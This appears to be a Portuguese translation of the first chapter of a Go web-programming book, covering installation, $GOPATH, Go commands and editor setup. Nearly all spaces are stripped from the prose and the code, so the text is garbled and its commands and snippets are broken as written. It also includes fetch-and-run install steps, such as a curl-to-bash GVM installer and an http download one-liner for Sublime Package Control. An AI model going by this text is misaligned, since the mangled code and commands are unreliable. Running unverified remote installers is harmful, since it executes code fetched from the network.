1.1 configuração do ambiente de desenvolvimento 1.2 ... · postgresql 5.5. develop orm based on...
TRANSCRIPT
1.1Configuraçãodoambientededesenvolvimento1.1.Instalação1.2.$GOPATHeWorkspace1.3.ComandosemGo1.4.Ferramentasdedesenvolvimento1.5.Sumário
2.Go,conhecimentobásico2.1."Olá,Go"2.2.FundamentosemGo2.3.Controlstatementsandfunctions2.4.struct2.5.OrientaçãoaObjetos2.6.interface2.7.Concurrency2.8.Sumário
3.Webfoundation3.1.Webworkingprinciples3.2.Buildasimplewebserver3.3.HowGoworkswithweb3.4.Getintohttppackage3.5.Summary
4.Userform4.1.Processforminputs4.2.Verificationofinputs4.3.Crosssitescripting4.4.Duplicatesubmissions4.5.Fileupload4.6.Summary
5.Database5.1.database/sqlinterface5.2.MySQL5.3.SQLite
5.4.PostgreSQL5.5.DevelopORMbasedonbeedb5.6.NoSQLdatabase5.7.Summary
6.Datastorageandsession6.1.Sessionandcookies6.2.HowtousesessioninGo6.3.Sessionstorage6.4.Preventhijackofsession6.5.Summary
7.Textfiles7.1.XML7.2.JSON7.3.Regexp7.4.Templates7.5.Files7.6.Strings7.7.Summary
8.Webservices8.1.Sockets8.2.WebSocket8.3.REST8.4.RPC8.5.Summary
9.Securityandencryption9.1.CSRFattacks9.2.Filterinputs9.3.XSSattacks9.4.SQLinjection9.5.Passwordstorage9.6.Encryptanddecryptdata9.7.Summary
10.Internationalizationandlocalization10.1Timezone10.2Localizedresources10.3Internationalsites10.4Summary
11.Errorhandling,debuggingandtesting11.1.Errorhandling11.2.DebuggingbyusingGDB11.3.Writetestcases11.4.Summary
12.Deploymentandmaintenance12.1.Logs12.2.Errorsandcrashes12.3.Deployment12.4.Backupandrecovery12.5.Summary
13.Buildawebframework13.1.Projectprogram13.2.Customizedrouters13.3.Designcontrollers13.4.Logsandconfigurations13.5.Add,deleteandupdateblogs13.6.Summary
14.Developwebframework14.1.Staticfiles14.2.Session14.3.Form14.4.Uservalidation14.5.Multi-languagesupport14.6.pprof14.7.Summary
AppendixAReferences
1ConfiguraçãodoambientededesenvolvimentoSejabemvindoaomundoGo,vamoscomeçaraexplorá-lo!
Goéumalinguagemcompiladarápidaqueincluícoletordelixoeémultiplataforma.Vejaabaixoalgumasvantagensdeutilizá-la:
Compilaçãorápidaemprojetosdetodososportes.Mantémummodelopadrãonodesenvolvimentodesoftware,evitandofuturosproblemasassociadosaoestiloCdedesenvolvimento.Éestática,nãotemníveisnoseusistemadetipo,entãonãoprecisaremosgastartempotrabalhandocomarelaçãodetiposdevariáveis.Ébemleveeorientadaaobjetos.Realizaacoletadelixo.Issomelhoraodesempenhoeacomunicaçãocomdiversossistemasoperacionais;Foidesenvolvidaparatodasasplataformas.
Goéumalinguagemcompilada.Combinaaeficiênciadedesenvolvimentodaslinguagensinterpretadasedinâmicasporsuasegurançaemtiposestáticos.Éumaótimaescolhaporsermulti-plataformaemoderna.Porumtemponãohaviampacoteseferramentasdeterceirospararesolverproblemascomunsetudotinhaqueserfeitoerefeito,comoreconstruiraroda,porissonasceuointeressenalinguagem.
Nessecapitulo,vamosaprenderainstalareconfigurarnossopróprioambientededesenvolvimento.
Links
SumárioPróximaseção:Instalação
1.1Instalação
Os3modosdeinstalarGo
Existemmuitasmaneirasdeconfiguraroambientededesenvolvimentoemseucomputador,vocêpodeescolheromodoquepreferir.SeguemabaixoostrêsmodosmaiscomunsparaconfigurarseuambienteparautilizaralinguagemGo:
Pacotesdeinstalaçãooficiais.
OtimeportrásdoGo,proporcionaummodomuitoconvenientedeinstalaçãoparaWindows,Linux,Maceoutrossistemasoperacionais.Esseéométodomaissimplesparainiciar.
Instalaçãoatravésdocódigofonte.
BempopularentredesenvolvedoresfamiliarescomsistemasUNIX-like.
Porterceiros(Pacotesnãooficiais).
Existemmuitospacotesdeterceiros,costumamviremgerenciadoresdepacotescomoapt-getnoUbuntuouhomebrewnoMac.
CasovocêqueiratermaisdeumaversãodeGonoseucomputador,existeaopçãodeinstalaratravésdoGoVersionManager(GVM).Éamelhorferramentaquetenhovistoporcumprirbemessatarefa,entretantovocêdeveráescolheromodoqueirásermelhorparavocê.GVM
InstalandopeloCódigoFonte
AlgumaspartesdeGoforamescritasemPlan9CeAT&TassemblerevocêprecisaráinstalarumcompiladordeCantesderealizarospassosaseguir.
NoMAC,vocêprecisarádoXcode,quejávemcomocompiladorincluso.
EmsistemasUNIX-Linux,vocêdeveráinstalaroGCCoualgumcompiladorsemelhante.Porexemplo:viaapt-get(Ubuntu/Debian)podemosinstalarcomaseguintelinhanoterminal:
sudoapt-getinstallgcclibc6-dev
ParaFedora,OpenSuseeoutrasdistribuições,consulteadocumentaçãooficial.
ParaoWindows,seránecessárioteroMinGW(ConsulteaarquiteturadoseuWindowsantesdeinstalar)parainstalaroGCC.Nãoseesqueçadeconfigurarasvariaveisdosistemasapósainstalaçãoserconcluída.
Parafinalmenterealizarainstalaçãoatravésdocódigofonte,necessitamosrealizaroDownloadeconfiguraçãodoGit,copiarorepositórioeinstalar.
gitclonehttps://go.googlesource.com/gocdgo/src./all.bash
Umainstalaçãodesucessoretornaráamensagem:"ALLTESTSPASSED."(Todosostestespassaram)
NoWindowsvocêpodeexecutaroarquivoall.bat.
CasoestejautilizandoWindows,ainstalaçãodopacoteiraconfigurarautomaticamentetodasasvariaveisdosistema.EmsistemaUNIX-Linux,vocêprecisaconfigurá-lasmanualmentenofinaldoarquivo.bash_profileconformeabaixo:
exportGOROOT=$HOME/goexportGOBIN=$GOROOT/binexportPATH=$PATH:$GOROOT/bin
Sevocêveramensagemaseguir,querdizerqueestátudopronto!
Figura1.1Informaçãoapósinstalaçãoviacódigofonte
Casoainstalaçãotenhasidorealizadacomsucessoeamensagem"nosuchcommand"(Comandoinexistente)permaneça.Verifiqueseasvariaveisdosistemaforamconfiguradascorretamente.
Pacotesdeinstalaçãopadrão
Gotemumainstalaçãosimplesparatodosossistemasoperacionais.Esses
pacotessãoinstaladosem:/usr/local/go(UNIX-like)ec:\Go(Windows)porpadrão.Claroquepodemsermodificados,mascasoainstalaçãosejaemoutrolocalteremosquereconfigurarasvariaveisdosistema,comocitadoacima.
Comochecarsemeusistemaoperacionalé32-bitou64-bit?
Opróximapassodependedotipodesistemaoperacionalquevocêestáutilizando.Entãotemosquechecarantesderealizarainstalaçãodospacotes.
SeestiverutilizandoWindows,pressioneWin+Redigite:cmdparaabriropromptdecomando.Executeocomandosysteminfoeprocurealinhareferentea"systemtype"-sevocêver"x64-basedPC",querdizerqueseusistemaé64-bit.Casoseja"x32-basedPC"é32-bit".
Érecomendavelutilizarversões64-bit.SeestivernoMAC,Gonãosuportamaisversão32-bitdoOSX.
NoLinuxabraumterminaledigite:uname-aUmsistema64-bitexibiráamensagemaseguir:
<algumadescrição>x86_64x86_64x86_64GNU/Linux//Algumasdistribuiçõesexibirãoamensagemaseguirx86_64GNU/Linux
Sistemas32-bitirãomostrar:
<algumadescrição>i686i686i386GNU/Linux
Mac
Váparaapáginadedownload,escolhago1.4.2.darwin-386.pkgpara
sistemas32-bitougo1.4.2.darwin-amd64.pkgparasistemas64-bit.Executeoinstalador,eoprópriosistemaseencarregarádecriarasvariaveisdosistema.Digitegonoterminaleasaidaseráamesmadafigura1.1.
Linux
Váparaapáginadedownload,escolhago1.4.2.linux-386.tar.gzparasistemas32-bitougo1.4.2.linux-amd64.tar.gzparasistemas64-bit.Casoainstalaçãosejapadrão,descompacteoarquivo.tar.gzem"/usr/local",configureoarquivo.bash_profilecomoapresentadoanteriormente,abraumterminaldigitegonoterminaleasaidaseráamesmadafigura1.1.
Windows
Váparaapáginadedownload,escolhago1.4.2.windows-386.msiparasistemas32-bitougo1.4.2.windows-amd64.msiparasistemas64-bit.Executeoinstalador,eleiráinstalarnamastac:\go,asvariaveisdosistemaserãoconfiguradasautomaticamente.Abraumpromptdecomandoedigite:go,asaidaseráamesmadafigura1.1.
Pacotesdeterceiros
GVM(GoVersionManager)
GVMéumgerenciadordeversõesparaGo,assimcomooRVMparaRuby.Émuitosimplesutilizaressemétodo.ParainstalaroGVMexecuteocomandoabaixonoterminal:
bash<<(curl-s-S-Lhttps://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)
QuandooGVMestiverinstalado,instaleaversãodoGodesejadaeconfigure-aparasetornarapadrão.OGVMseencarregaautomaticamentedeescolheramelhorarquiteturadosistemaoperacionalparavocê.
gvminstallgo1.4.2gvmusego1.4.2
Apósfinalizarosprocessos,vocêjápoderáutilizaroGo.
apt-get
UbuntuéadistribuiçãoLinuxmaispopularparaDesktopdoméstico.Eleusaoapt-getcomogerenciadordepacotes.Podemosinstalarutilizandoosseguintescomandoabaixonoterminal:
sudoadd-apt-repositoryppa:gophers/gosudoapt-getupdatesudoapt-getinstallgolang-stable
Homebrew
HomebrewéogerenciadordepacotesparaMAC,parainstalaroGorodeocomandoabaixonoterminal:
brewinstallgo
Links
SumárioSeçãoanterior:ConfiguraçãodoambientededesenvolvimentoPróximaseção:$GOPATHeWorkspace
#1.2$GOPATHeWorkspace
$GOPATH
OscomandosemGodependemdeumavariáveldosistemachama$GOPATH.Notequenãoéavariável$GOROOT,responsávelpelolocalaondealinguagemestáinstalada.Essavariável($GOPATH),marcaalocalizaçãodoambientedetrabalhoGo.
EmsistemaUNIX-Linux,avariáveldosistemadeveráserconfiguradadaseguinteformanoarquivo.bash_profile
exportGOPATH=/home/apple/mygo
NoWindowsvocêprecisacriarumanovavariáveldeambientechamadaGOPATH,econfigura-laparaodiretóriodetrabalho,porexemplo:c:\mygo
ÉcomumtermaisdeumWorkspacenoseu$GOPATH,maslembre-sedeusar:(;noWindows)paradelimitarosdiretórios.Como$GOPATHconfiguradovocêjápoderárealizarodownloaddepacotesexternosutilizandoogoget.
Dentrodoseu$GOPATH,deveráterosseguintesdiretórios:
srcParaarquivosdecódigofonte.go,.c,.g,.s.pkgParabibliotecascompiladas.a.binParaexecutáveis
Nesselivro,vamosutilizarapasta:mygocomoúnicoambienteno$GOPATH.
Diretóriosdepacotes
Crieumnovoarquivochamadosqrt.godentrodapasta$GOPATH/src/mymath/sqrt.go(Notequetambémfoicriadoumdiretóriochamado'mymath',oqualseráonomedonossopacote)
Todasasvezesqueumnovopacoteforcriado,vocêdeverácriarumapastacomseunomedentrodesrc.Onomedaspastascostumamteromesmonomedopacotequeseráutilizado.Vocêpodeterquantassub-pastasquiser,
porexemplo:Sevocêcriarumapasta$GOPATH/src/github.com/astaxie/beedb,entãoseupacoteserágithub.com/astaxie/beedb.Onomedopacotesempreseráoúltimo,nocasodoexemplocitado:beedb
Seguindoasinstruçõesacima.Executeoscomandosabaixo:cd$GOPATH/srcmkdirmymath
Crieumnovoarquivochamadosqrt.goeponhaoseguinteconteúdo:
//Códigofontede$GOPATH/src/mymath/sqrt.gopackagemymath
funcSqrt(xfloat64)float64{z:=0.0fori:=0;i<1000;i++{z-=(z*z-x)/(2*x)}returnz}
Agoraodiretórioecódigofontedomeupacotefoicriado.Conformeexplicado,recomendoqueutilizeonomedopacotecorrespondendoaodiretório.
Compilandopacotes
Agoraquenóscriamosnossopacote,comovamosutilizá-lodemodoprático?Existemduasmaneirasdefazerisso.
1. Mudeparaodiretóriodoseupacoteeexecuteocomandogoinstall.2. Executeocomandoacima,utilizandoonomedoarquivosemextenção,exemplo:goinstallmymath.
Apóscompilado,podemosveroarquivoexecutáveldopacotenaseguintepasta:cd$GOPATH/pkg/${GOOS}_${GOARCH}//Oarquivodopacotegeradocomaextenção.amymath.a
Nossoarquivofoigeradocomaextenção.aqueéumarquivobinário,comovamosutilizá-lo?
Obviamenteteremosquecriarumanovaaplicaçãoparautilizar.
Crieumanovaaplicaçãochamadamathapp
cd$GOPATH/srcmkdirmathappcdmathappvimmain.go
Códigofonte:
//$GOPATH/src/mathapp/main.gocódigofonte.packagemain
import("mymath""fmt")
funcmain(){fmt.Printf("Olá,mundo.Sqrt(2)=%v\n",mymath.Sqrt(2))}
Paracompilarnossaaplicação,deveremosalterarocódigofontedediretório,nessecasopara$GOPATH/src/mathappeexecutarocomandogoinstall.Agorateremosumarquivoexecutáveldentrodapasta$GOPATH/bin/.Paraexecutarmosbasta:./mathappnoterminal,evocêdeveráveroseguinteretorno:
Olá,mundo.Sqrt(2)=1.414213562373095
Instalandopacotesremotamente
Gopossuiumaferramentaparautilizarpacotesremotos,chamadagoget.Elaésuportadaporgrandescomunidadesdecódigoaberto,incluindo:Github,GoogleCode,BitbucketeLaunchpad.
gogetgithub.com/astaxie/beedb
Vocêpodeutilizaroparâmetro-uparaaatualizarospacotesjáexistentes,porexemplo:goget-u….
OgogetutilizaasferramentasdeversionamentodecódigoabertomaisutilizadasdomercadocomogitparaoGitHubeohgparaoGoogleCode.Antesdeutilizarogogetcertifique-sedeterinstaladoaomenosumadelas.(Notadotradutor:RecomendoutilizarGit)
Apósaexecuçãodocomandoacima,vocêdeveráteraseguinteestruturadediretórios:$GOPATHsrc|-github.com|-astaxie|-beedbpkg|--${GOOS}_${GOARCH}|-github.com|-astaxie|-beedb.a
Ocomandogogetclonaocódigofonteedependenciasparaoseu$GOPATH/srceinstalaospacotecomgoinstall
Vocêtambémpodeutilizarpacotesdeterceirosatravésdeimportsnocódigofontedaaplicação,utilizandoasintaxeabaixo:
import"github.com/astaxie/beedb"
Estruturadediretórioscompleta
Sevocêseguiutodosospassosanteriorescorretamente,suaestrururadediretóriosdeveráseralgosemelhandoaisso:
bin/mathapppkg/
${GOOS}_${GOARCH},Aarquiteturadoseusistema:darwin_amd64,linux_amd64mymath.agithub.com/astaxie/beedb.asrc/mathappmain.gomymath/sqrt.gogithub.com/astaxie/beedb/beedb.goutil.go
Agoravocêécapazdeverclaramentequeaestruturadodiretóriobincontémarquivosexecutáveis,pkgcontémarquivoscompiladosesrccontémarquivosdeorigemdopacote.AgoraqueesclarecemoscomoGogerenciadependenciasecódigofonte,vamosrecaptulardeformarápidaaestrutura;bincontémosexecutaveis,pkgbibliotecasoupacotescompilados,srccódigofontedasuaaplicaçãoepacotes.
(OGOPATHnoWindowséexibidocomo:%GOPATH%,comoesselivrotemumfocomaioremsistemasUNIX-Like,usuáriosWindowsdeverãorealizarfuturosajustesparaquetudoocorracomoesperado)
Links
SumárioSeçãoanterior:InstalaçãoPróximaseção:ComandosemGo
#1.3ComandosGO
ComandosGO
AliguagemGopossuinativamenteumasériedecomandosoperacionais.Vocêpodeexecutarocomandogonasualinhadecomandoparaveralistacompleta:
Figura1.3OcomandoGomostraainformaçãodetalhadadasopções
Todossãobastanteúteisparanós.Vamosvercomoalgunsdelesfuncionam.
gobuild
Esteéocomandoparatestesdecompilação.Eleirácompilarasdependências,sefornecessário.
Seopacotenãoforopacotemain,comooexemplomymathnaseção1.2,nadaserágeradoapósaexecuçãodomomandogobuild.Sevocêprecisadoarquivo.anodiretório$GOPATH/pkg,ocomandoaserutilizadoéogoinstall.Seopacoteforopacotemain,comooexemplomathappnaseção1.2,entãoserágeradoumarquivoexecutávelnamesmapastadoarquivo.go.Sevocêprecisadoarquivoexecutávelnodiretório$GOPATH/bindeveráutilizarocomandogoinstallougobuild-o{CAMINHO_DIRETORIO}/{FILE_NAME}.exe(N.doT.:Podetambémserutilizadoparadirecionaroexecutávelparaoutrosdiretórioseofinal.exenãoéobrigatórioemsistemasUNIX-Linux).Sehouveremmuitosarquivosnamesmapastaevocêquisercompilarapenasumdeles,entãovocêdeveinserironomedoarquivonofinaldocomandogobuild.Porexemplo,gobuilda.go.Usarapenasgobuildirácompilartodososarquivosdapasta.Vocêtambémpodedeterminaronomedoarquivoqueserágeradopelocomandogobuild.Porexemplo,noprojetomathapp(daseção1.2),usandogobuild-oastaxie.exeirágeraroarquivoastaxie.exeaoinvésdemathapp.exe.Onomepadrãoéonomedapasta,parapacotesquenãosejammain,ouonomedoprimeiroarquivodecódigofonte,paraopacotemain.
(Deacordocomo"TheGoProgrammingLanguageSpecification",onomedopacoteédefinidopelapalavraqueaparecenafrentedapalavrachavepackagenaprimeiralinhadosarquivosdecódigofonte.Essapalavranãoprecisanecessariamenteteromesmonomedapastaondeoarquivoestásalvo,porémoarquivoexecutávelteráonomedapastaporpadrão.)
Ocomandogobuildignoraarquivoscujoosnomescomecempor_ou..
Sevocêdesejarcriardiferentesarquivosdecódigofonteparacadasistemaoperacional,vocêpodenomearosarquivoscomonomedosistemanofinal.Suponhaquetemosalgunscódigosparacarregamentodearrays,elespodemsernomeadosconformesegueabaixo:
array_linux.go|array_darwin.go|array_windows.go|array_freebsd.go
Ocomandogobuildiráescolheroarquivorespectivoaoseusistemaoperacional.Porexemplo,eleirácompilaroarray_linux.goemsistemaLinuxeignorarosdemais.
goclean
Estecomandoserveparaumalimpezadosarquivosgeradospeloscompiladores,incluindoosarquivosabaixo:
_obj///antigodiretóriodeobjetos,deixadopelosMakefiles_test///antigodiretóriodetestes,deixadopelosMakefiles_testmain.go//antigoarquivodogotest,deixadopelosMakefilestest.out//antigoarquivodeteste,deixadopelosMakefiles
build.out//antigoarquivodeteste,deixadopelosMakefiles
*.[568ao]//arquivosdeobjetos,deixadopelosMakefiles
DIR(.exe)//geradopelogobuildDIR.test(.exe)//geradopelogotest-cMAINFILE(.exe)//geradopelogobuildMAINFILE.go
Normalmente,usa-seessecomandoparaumalimpezadosarquivosantesdefazerouploaddoprojetoparaorepositório(GitHub,porexemplo).Elessãoúteisparatesteslocais,masinúteisparaoversionamento.
gofmtegofmt
AspessoasacostumadasatrabalharcomC/C++estãosemprediscutindosobrequalomelhorestilodecódigo:estilo-K&Rouestilo-ANSI?AotrabalharcomGo,sóexisteumestilodecódigo.Porexemplo,chavesesquerdassódevemserinseridasnofinaldalinhaenãopodemestarsozinhosemuma
linha,casocontráriovocêreceberáumerrodecompilação!Felizmente,vocênãoprecisaselembrardessaregras.Ocomandogofmtfazessetrabalhopravocê,bastaexecutarocomandogofmt<NomeDoArquivo.go>noterminal.AsIDEsmodernasusualmentejárealizamessecomandodemodoautomático,masaescolhadeIDEéoassuntodapróximaseção.
gofmtéapenasumapelido(alias)queirádefatorodarocomando'gofmt-l-w'nospacotesnomeadospeloscaminhosdeimportação.
Normalmente,usamosocomandogofmt-waoinvésdesimplesmentegofmt.Adiferençaéqueoúltimonãoiráreescreverosarquivosdecódigofonteformatandoocódigo.gofmt-wsrcformataoprojetointeiro.
goget
Essecomandoserveparaobtençãodepacotesremotamente.Atéomomento,ocomandosuportaBitBucket,Github,GoogleCodeeLaunchpad.Defato,duascoisasocorremquandoessecomandoéexecutado.Primeiramenteéfeitoodownloaddocódigofonteeentãoéexecutadoocomandogoinstall.Antesdeutilizaressecomando,tenhacertezadepossuirinstaladosasseguintesferramentas.
BitBucket(MercurialGit)Github(git)GoogleCode(Git,Mercurial,Subversion)Launchpad(Bazaar)
Paraocorretofuncionamento,alémdeinstalarasferramentasacima,nãoseesqueçadeconfigurarcorretamentesuavariável$PATH.Apropósito,essecomandotambémsuportanomesdedomínioscustomizados.Usegohelpremoteparamaisdetalhes.
goinstall
Essecomandocompilatodosospacotesegeraosarquivosexecutáveismovendo-ospara$GOPATH/pkgou$GOPATH/bin.
gotest
Essecomandocarregatodososarquivosquetenhamonomeseguindoopadrão*_test.goegeraosarquivosdetestes,imprimindoinformaçõesconformeoexemploabaixo.
okarchive/tar0.011sFAILarchive/zip0.022sokcompress/gzip0.033s...
Eletestatodososarquivosporpadrão.Useocomandogohelptestflagparamaisdetalheseinformações.
godoc
MuitosafirmamnãosernecessáriaautilizaçãodebibliotecasexternasparadocumentaçãodosprogramasGo,umavezqueGojápossuiumapoderosaferramentaparadocumentaçãonativamente(dequalquermaneira,vejaabibliotecacriadapormim,aCHM(N.doT.:Linkdoautororiginal)).
Sendoassim,comodevemosbuscaressadocumentaçãoparacadaumdospacotes?Sevocêquisermaisinformaçõesparaumpacotenativo(builtin),vocêpodeusarocomandogodocbuiltin.Deformasemelhante,vocêpodeusargodocnet/httpparaencontraradocumentaçãodopacotehttp,porexemplo.Eainda,sequisermaisdetalhesdeumafunçãoespecífica,vocêpodeusargodocfmtPrintfegodoc-srcfmtPrintfparaverocódigofontedafunção.
Finalmente,vocêpodeaindaexecutarocomandogodoc-http=:8080e,emseguida,abrir127.0.0.1:8080noseunavegador.Vocêteráumacópialocal
degolang.org.Elevaimostrarnãosóospacotespadrões,mastambémaquelesencontradosem$GOPATH/pkg.EsserecursoéótimoparapessoasquesofremdealgumbloqueiocomoaqueledoGreatFirewallofChina,porexemplo.
Outroscomandos
Gopossuiaindamuitosoutroscomandosalémdoscitadosaqui.Seguemalgunsexemplos.
gofix//atualizaocódigodeumaversãoantigaanteriorago1paraumanovaversãodepoisdego1goversion//exibeinformaçõessobresuaversãodeGogoenv//exibeasvariáveisdeambienterelacionadosaGogolist//listatodosospacotesinstaladosgorun//compilaosarquivostemporárioseexecutaaaplicação
Mesmosobreoscomandosexplicadosatéaqui,existemváriosoutrosdetalhesquenãoforamdiscutidos.Vocêsemprepodeusargohelp<command>paradetalheseinformaçõescompletas.
Links
SumárioSeçãoanterior:$GOPATHeWorkspacePróximaseção:FerramentasdedesenvolvimentoGo
FerramentasparadesenvolvimentoGoNestaseção,vamosmostraralgunsIDEs(IntegratedDevelopmentEnvironmentouAmbientedeDesenvolvimentoIntegrado)quepodemajudar
vocêaserumprogramadorGomaiseficiente,comrecursoscomoauto-completeinteligenteeauto-formatação.Todaselassãocompatíveiscomtodosossitemasoperacionais(cross-platform),entãoospassosdescritosabaixodevemsersemelhantesindependentementedosistemaqueestejautilizando.
LiteIDE
LiteIDEéumIDEleveedecódigoabertoparadesenvolvimentoexclusivodeprojetosGo.Foidesenvolvidoporvisualfc.
Figure1.4PainelprincipaldoLiteIDE
RecursosdoLiteIDE.
Cross-platformWindowsLinuxMacOS
Cross-compileGerencimanetodemúltiplosambientesdecompilaçãoSuporteacompilaçãocruzada(cross-compilation)dalinguagemGo
GerenciamentodoprojetoVisãodadocumentaçãobaseadanavariável$GOPATHSistemadecompilaçãobaseadonavariável$GOPATHIndícedadocumentaçãodaAPIbaseadoonaveriável$GOPATH(N.doT.:Necessitadeadaptaçõesparaoportuguês)
EditordecódigofonteGoAlinhamentoeidentaçãodecódigoSuportetotalaogocodeVisualizaçãodadocumentaçãoGoedaAPIVisualizaçãodeexpressõesdecódigousandoF1Movimentaçãoentreasfunções(Functiondeclarationjump)usandoF2
SuporteaoGdb(debug)Auto-formataçãocomgofmt
OutrosMulti-linguagemSistemadepluginsTemasparaoeditordetextosSuporteasintaxebaseadonoKateAuto-completeinteligentebaseadonotextocompletoAtalhoscustomizadosSuporteaMarkdown
PreviewemtemporealCSScustomizadoExportaçãoparaPDFeHTML
ConversãoparaPDFeHTML
InstalaçãodoLiteIDE
InstaleoLiteIDE
PáginadeDownload
CódigoFonte
VocêprecisainstalarGoprimeiro(conformeaseção1.1),depoisfaçaodownloaddaversãodoLiteIDEmaisapropriadaparaoseusistema.Apenasdescompacteeusediretamente.
Instaleogocode
Vocêprecisainstalarogocodeparapoderusaroauto-completeinteligente.
goget-ugithub.com/nsf/gocode
Ambientedecompilação
TroqueaconfiguraçãonoLiteIDEparaconfigurá-locorretamenteparaoseusistemaoperacional.Porexemplo,noWindowseusandoaversão64-bitdalinguagemGo,vocêdeveescolherwin64comoambientedeconfiguraçãonabarradeferramentas.Escolhaopinion,encontreLiteEnvenalistaesquerda,abrooarquivowin64.env.Eledeveserparecidocomomodeloaseguir.
GOROOT=c:\goGOBIN=GOARCH=amd64GOOS=windowsCGO_ENABLED=1
PATH=%GOBIN%;%GOROOT%\bin;%PATH%
SubstituaGOROOT=c:\goparaocaminhodeinstalaçãoconfiguradoanteriormente,salveoarquivo.Paratersuportecompletoaocgonowindowns,vocêprecisarterinstaladooMinGW64edeveadicionarc:\MinGW64\binaasuavariáveldeambiente.
NoLinux,usandoumaversão64-bitdalinguagemGo,vocêdeveescolherlinux64comoconfiguraçãodeambientenabarradeferramentas.Emseguida,escolhaopinion,encontreLiteEnvnomenuaesquerdaeabraoarquivolinux64.env.Edite-oconformesegue.
GOROOT=$HOME/goGOBIN=GOARCH=amd64GOOS=linuxCGO_ENABLED=1
PATH=$GOBIN:$GOROOT/bin:$PATH
SubstituaGOROOT=$HOME/goparaocaminhodasuainstalação,salveoarquivo.
$GOPATH
$GOPATHéocaminhododiretórioquecontémseusprojetosGo.Abraalinhadecomando(ouapenasuseCtrl+`noLiteIDE)eentãodigitegohelpgopathparamaioresdetalhes.Ébastantefácilvisualizarealteraravariável$GOPATHnoLiteIDE.UseomenuView-SetupGOPATHparavisualizarealteraressesvalores.
SublimeText
Nesseponto,iremosintroduziroSublimeText(ouapenasSublime)+GoSublime+gocode+MarGo.Vamoslá.
Auto-completeinteligente
Figura1.5Auto-completeinteligentenoSublime
Formataçãoautomática
GerenciamentodeProjetos
Figura1.6GerenciamentodeProjetosnoSublime
Destaquedesintaxe(Syntaxhighlight)
Aversãotrialégratuitaparasempresemnenhumalimitaçãonasfunções.Vocêserálembradoemalgumasocasiõescomumpromptsolicitandoacompradalicença,masvocêpodeignorá-lo,seassimquiser.Claro,sevocêconsiderarqueoeditormelhorasuaprodutividadeevocêgostarrealmentedoproduto,considereadquirirumalicençaeajudaramanterodesenvolvimentodomesmo!
Primeiro,façaodownloaddaversãoapropriadadoSublimeparaoseusistemaoperacional.
1. PressioneCtrl+`,abraalinhadecomandoeinseraoseguintescomandos:
importurllib2,os;pf='PackageControl.sublime-package';ipp=s
ublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace('','%20')).read());print'PleaserestartSublimeTexttofinishinstallation'
ReinicieoSublimeTextparafinalizarainstalação.Aoreabri-lo,vocêdeveráencontrarumaopçãoPackageControlnomenu"Preferences".
Figura1.7SublimePackageControl
2. ParainstalaroGoSublime,SidebarEnhancementseGoBuild,pressioneCtrl+Shift+pparaabriroPackageControleentãodigitepcip(umatalhopara"PackageControl:InstallPackage").
Figure1.8InstalandopacotesnoSublime
Busquepor"GoSublime",pressioneOKparainstalaropacoteerepitaomesmoprocedimentoparainstalarospacotesSidebarEnhancementseGoBuild.Maisumavez,reinicieoeditorparacompletarainstalação.
3. Paraverificarseainstalaçãofoibemsucedida,abraoarquivomain.gonoSublimeevejaseeleestádestacandoasintaxecorretamente.Digiteimporteconfiraseapareceumpromptcomsugestõesdeauto-complete.Incluaimport"fmt"eemseguidainsirafmt.emqualquerlugardepoisdadeclaraçãodeimportparaverificarseafunçãodeauto-completeinteligenteestácorretamenteativada.
Sefuncionarcorretamente,estátudopronto.
Senãofuncionar,verifiqueseu$PATHnovamente.Abraumterminaledigitegocode.Semesmoistonãofuncionar,possivelmenteseu$PATHnãoestácorretamenteconfigurado.
Vim
Viméumpopulareditordetextosparaprogramadoresqueevoluideseupredecessormaissimples,chamadoVi.Elepossuifunçõesparaauto-completeinteligente,compilaçãoetambémfunçõesparaiterarsobreoserros.
Figure1.8Auto-completeinteligenteparaGonoVim
1. Primeiramente,copieasconfiguraçõespadrãoparaoseudiretóriodeconfiguraçãodoVim
cp-r$GOROOT/misc/vim/*~/.vim/
2. Ativeodestaquedesintaxe(syntaxhighlighting)
filetypepluginindentonsyntaxon
3. Instaleogocode
goget-ugithub.com/nsf/gocode
Ogocodeseráinstaladoem$GOBINporpadrão
4. Configureogocodedigitandooscomandosabaixo
~cd$GOPATH/src/github.com/nsf/gocode/vim~./update.bash~gocodesetpropose-builtinstruepropose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"
Explicaçõessobreaconfiguraçãodogocode:
propose-builtins:determinasedeveounãoligaroauto-completeinteligente;falseporpadrão.lib-path:Porpadrão,ogocodeapenasbuscaporpacotesem$GOPATH/pkg/$GOOS_$GOARCHe$GOROOT/pkg/$GOOS_$GOARCH.Estaconfiguraçãoéusadaparaadicionarnovosdiretórioscomofonte.
5. Parabéns!Tentedigitar:emain.gonomododecomandosdoVimparaexperimentaromundodeGo!
Emacs
Emacs(tambémconhecidacomoArmadeDeus)nãoéapenasumeditor,mastambémumpoderosoIDE.
Figure1.10PainelprincipaldoEmacsparaeditorGo
1. Primeiramente,copieasconfiguraçõespadrãoparaoseudiretóriodeconfiguraçãodaEmacs
cp$GOROOT/misc/emacs/*~/.emacs.d/
2. Instaleogocode
goget-ugithub.com/nsf/gocode
Ogocodeseráinstaladoem$GOBINporpadrão
3. Configureogocodedigitandooscomandosabaixo
~cd$GOPATH/src/github.com/nsf/gocode/vim~./update.bash~gocodesetpropose-builtinstrue
propose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"
4. InstaleoAutoCompletionFaçaodownload,descompacteeexecute
~makeinstallDIR=$HOME/.emacs.d/auto-complete
Configureoarquivo~/.emacsconformeabaixo
;;auto-complete(require'auto-complete-config)(add-to-list'ac-dictionary-directories"~/.emacs.d/auto-complete/ac-dict")(ac-config-default)(local-set-key(kbd"M-/")'semantic-complete-analyze-inline)(local-set-key"."'semantic-complete-self-insert)(local-set-key">"'semantic-complete-self-insert)
Vejaestelinkparamaioresdetalhesdesseprocesso.
5. Finalizeaconfiguraçãodoarquivo.emacsparausarGo
